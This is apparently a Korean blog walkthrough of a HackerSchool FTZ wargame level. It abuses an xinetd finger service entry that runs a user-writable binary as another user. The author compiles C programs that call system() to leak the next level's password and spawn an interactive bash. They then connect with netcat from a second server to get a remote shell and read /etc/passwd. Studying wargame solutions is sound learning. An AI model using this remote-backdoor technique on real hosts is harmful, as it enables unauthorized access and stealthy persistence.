본문 바로가기

Learning/└◆Reversing

05_Level4 -> Level5[FTZ] xinetd 방식 여러가지 로컬/원격 백도어

 


■ Level4 -> Level5   


 

목적

xinetd 방식(원격 백도어)


xinetd 방식에 대한 이해                                             

(용어) 로컬백도어/원격백도어


원격에서 백도어를 이용해 권한을 얻어낼 때 xinetd 방식을 사용한다.

xinetd 방식의 서비스.hwp




■ Level5 문제에 도전하기

-> ID/PASS : level4/suck my brain


 

hint를 살펴보면

$ cat hint

 

 누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

 

 

백도어란?

시스템 관리자가 일부러 열어 놓은 시스템의 보안 구멍이다.

처음에 백도어가 나오게 된 계기는 회사원들이 퇴근을 하고 원격으로 회사의 업무를 하기 위해

만들어 졌다고 한다. 하지만 해커들은 이것을 악용하여 공격을 위한 뒷문을 만들어 두는 것이다.

 

xinetd.d란?

리눅스 부팅 과정이 진행되면서 네트워크 데몬도 가동되는데 이를 수행하는 것이 xinetd 슈퍼 데몬 이다.

네트워크 데몬은 FTP,텔넷,SSH,아파치 등과 같은 네트워크 통신을 위한 데몬을 말한다.

xinetd는 이들의 부모 프로세스가 된다.

 

힌트 경로로 들어가본다.

$ cd /etc/xinetd.d ; ls -l

-rw-r----- 1 root  level4     171 Dec  8  2003 backdoor
-rw-r--r--    1 root     root          563 Feb 25  2003 chargen
-rw-r--r--    1 root     root          580 Feb 25  2003 chargen-udp
-rwxr-xr-x    1 root     root          239 Feb 13  2003 cups-lpd
-rw-r--r--    1 root     root          453 Dec 19  2008 daytime
-rw-r--r--    1 root     root          438 Feb 25  2003 daytime-udp
-rw-r--r--    1 root     root          341 Feb 25  2003 echo
-rw-r--r--    1 root     root          360 Feb 25  2003 echo-udp
-rw-r--r--    1 root     root          318 Jan 25  2003 finger
-rw-r--r--    1 root     root          275 Feb  5  2003 ntalk
-rw-r--r--    1 root     root          361 Jan 25  2003 rexec
-rw-r--r--    1 root     root          378 Jan 25  2003 rlogin
-rw-r--r--    1 root     root          431 Jan 25  2003 rsh
-rw-r--r--    1 root     root          317 Jan 25  2003 rsync
-rw-r--r--    1 root     root          312 Feb 25  2003 servers
-rw-r--r--    1 root     root          314 Feb 25  2003 services
-rw-r--r--    1 root     root          392 Feb  1  2003 sgi_fam
-rw-r--r--    1 root     root          263 Feb  5  2003 talk
-rw-r--r--    1 root     root          305 Dec  8  2003 telnet
-rw-r--r--    1 root     root          497 Feb 25  2003 time
-rw-r--r--    1 root     root          518 Feb 25  2003 time-udp  

 

[참고]

$ export LANG=C

$ /sbin/chkconfig --list | sed -n '/xinetd based/,$p' | grep -w on

 

의심스러운 파일을 발견했고 안에 내용을 확인한다.

 

$ cat /etc/xinetd.d/backdoor

service finger

{

      disable          = no

      flags            = REUSE

      socket_type      = stream

      wait             = no

      user             = level5

      server           = /home/level4/tmp/backdoor

      log_on_failure   += USERID

} 

=> 과거에 finger을 이용해 backdoor을 많이 만들었다. 

finger service를 사용하면 level5의 권한으로 /home/level4/tmp/backdoor를 실행한다.

고로 backdoor를 설정하면 level5의 권한으로 system 명령을 사용하여 쉘을 얻을 수 있다.


service finger

 

반드시 /etc/services 파일에 들어 있는 이름이어야 한다.(반드시 서비스 이름과 포트가 매핑되어야 한다.)

# cat /etc/services | grep finger


disable = no 데몬을 비활성화하지 않음, disable = yes로 설정되면 해당 서비스를 기동하지 않음서비스의 이름으로는 /etc/services 파일에 있는 서비스명으로 선택하는 것을 권장.


flags = REUSE서비스 포트가 사용 중인 경우 해당 포트의 재사용을 허가


socket_type = streamTCP/IP 프로토콜을 선택


wait = no이미 서비스가 연결된 상태에서 다른 요청이 오면 바로 응답함, 다르게 표현하면 telnetd은 동시에 다수의 접속이 가능하다는 의미.


user = root해당 데몬이 root 계정의 권한으로 실행됨

 

server = /usr/bin/in.fingerdxinetd에 의해 실행될 데몬 파일

 

log_on_failure += USERID정상적인 기동에 실패한 경우 USERID를 로그에 기록

 

Finger 통신방식  

finger 사용자에 대한 정보를 확인하는 명령어(xinetd방식)

# man finger

NAME

finger - user information lookup grogram


 

 서비스 통신방식

finger -------------------->  fingerd

             평문 직접통신

 

ftp                                           ftpd

user01 ----->user user01  ---->

user01 ----->pass user01 ---->


telnet                                    telnetd

ls        ----->   ls           ----->

user01 -----> user01      ----->

 

telnet은 finger와 같이 명령어를 변환하지 않고 그대로 전송하는 방식이다.

Telnet은 nc로 대체할 수 있다.


netcat명령어.hwp


*nc(netcat) CMD

명령어를 변환하지 않고 그대로 전송하는 방식

클라이언트/서버 모듈

@nc Server 

nc -l : 대기상태(listening)

$ nc -l 1234


@nc Client

nc <IP> <port>


데이터 전송시 사용(채팅 서비스)


넷켓 참고 사이트

http://devanix.tistory.com/307

 

 

 

 

 

$ cat /etc/services | grep finger   (finger port : 79)

finger  79/tcp

finger  79/udp

cfinger 2003/tcp                # GNU Finger

 

$ netstat -an | grep :79         ($ netstat -an, $ netstat -an| grep finger)

tcp        0      0 0.0.0.0:79              0.0.0.0:*               LISTEN

 

79번 포트는 LISTEN으로 포트가 열려있고

23번은 ESTABLISHED로 되어있다. 현재 FTZ를 Telnet으로 연결해서 사용하고 있기 때문이다.

cat /etc/xinetd.d/backdoor에 server경로인 /home/level4/tmp/backdoor 경로를 확인한다.

 

$ ls -l /home/level4/tmp/backdoor

ls: /home/level4/tmp/backdoor: 그런 파일이나 디렉토리가 없음

 

$ finger level4@localhost

정상적으로 실행되지 않는다.

 

backdoor라는 이름의 파일을 만들기 위해 vi 편집기를 이용해 C script를 작성한다.(공격용 파일)

$ cd ~/tmp ($ vi /home/level4/tmp/backdoor)

$ vi backdoor.c

#include<stdlib.h>

 

int main() {

          system("cat /home/level4/hint");

          system("id");

}

 

$ gcc -o backdoor backdoor.c

$ finger level4@localhost

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.! /* system("cat /home/level4/hint"); */

 

 

uid=3005(level5) gid=3005(level5) /* system("id"); */

 

확인해본 결과 level5의 권한으로 잘 실행이 된다.

같은 방식으로 my-pass 혹은 쉘권한을 얻을 수 있다.

 

$ vi backdoor.c

 #include<stdlib.h>

 

int main() {

          system("my-pass");

}

 

$ finger level4@localhost

 ^[[H^[[J
Level5 Password is "what is your name?".

 

backdoor 파일을 실행시켜 level5의 패스워드를 획득 할 수 있다. 

 

하지만 이 단원의 목적은 원격 백도어 이기 때문에 다른 방식으로 시도해보자.

my-pass가 아닌 /bin/bash 를 통해 쉘을 얻는 방식을 사용해본다.

$ vi backdoor.c

 #include<stdlib.h>

 

int main() {

          system("/bin/bash");

}

 

$ finger level4@localhost

/bin/bash: line 1: level4

: command not found

id

my-pass

 

<CTRL + C>

 

정상적으로 작동하지 않는다.

이것은 원격에서 nc 명령어를 사용하여 쉘을 얻을 수 있다.

nc는 telnet과 동일한 기능을 한다고 생각하면 된다.

일종의 채팅 기능을 하는 역할을 한다.

따라서 원격제어 nc(netcat)명령어를 사용한다.

netcat명령어.hwp

 

FTZ server가 아닌 다른 server를 기동한다.

여기서는 Linux Server를 사용했다.

 

@Linux Server

# yum -y install nc

# rpm -qa | grep nc

 

# nc 119.64.191.205 79 (119.64.191.205 : FTZ System's IP)

id

uid=3005(level5) gid=3005(level5)

my-pass

 

Level5 Password is "what is your name?".

 

pwd

/

cd /etc

cat passwd

..... (중략) .....

level15:x:3095:3095::/home/level15:/bin/bash

level16:x:3096:3096::/home/level16:/bin/bash

level17:x:3097:3097::/home/level17:/bin/bash

level18:x:3098:3098::/home/level18:/bin/bash

level19:x:3099:3099::/home/level19:/bin/bash

level20:x:3100:3100::/home/level20:/bin/bash

clear:x:3101:3101::/home/clear:/bin/bash

exit

 

쉘의 정상적인 동작을 하기 위해

vi backdoor.c 를 수정한다

 

@ FTZ Server

 

$ vi backdoor.c

 #include <stdlib.h>

 

int main()

{

system("/bin/bash -i");

}

/bin/bash -i 에서 -i 옵션은 대화형 모드 이다. 위 nc 명령어와 비교해 보면 좋다.

 

@Linux Server

# nc 119.64.191.205 79

bash: no job control in this shell

stty: standard input: Invalid argument

[level5@ftz /]$ hostname

ftz.hackerschool.org

[level5@ftz /]$ id

uid=3005(level5) gid=3005(level5)

[level5@ftz /]$ my-pass

exit

 

이로서 성공적인 백도어를 했다고 볼 수 있다.

xinetd 방식의 원격 백도어의 특성으로

서비스 요청이 있지 않으면 데몬이 떠 있지 않은 상태이므로 관리자가 확인하기 어렵다는 점이 있다.

 

포트 번호 확인(서비스 가동 중인지 확인하는 작업)

 

# service named start

 

# service named status

# pgrep -lf named (# ps -ef | grep named)

          # chkconfig krb5-telnet on

          # service xinetd restart

          # pgrep -lf telnet

# netstat -antup | grep 53

          # nmap localhost

 

원격 수행할 수 있는 명령어

# nmap -p 21 localhost

# telnet localhost 21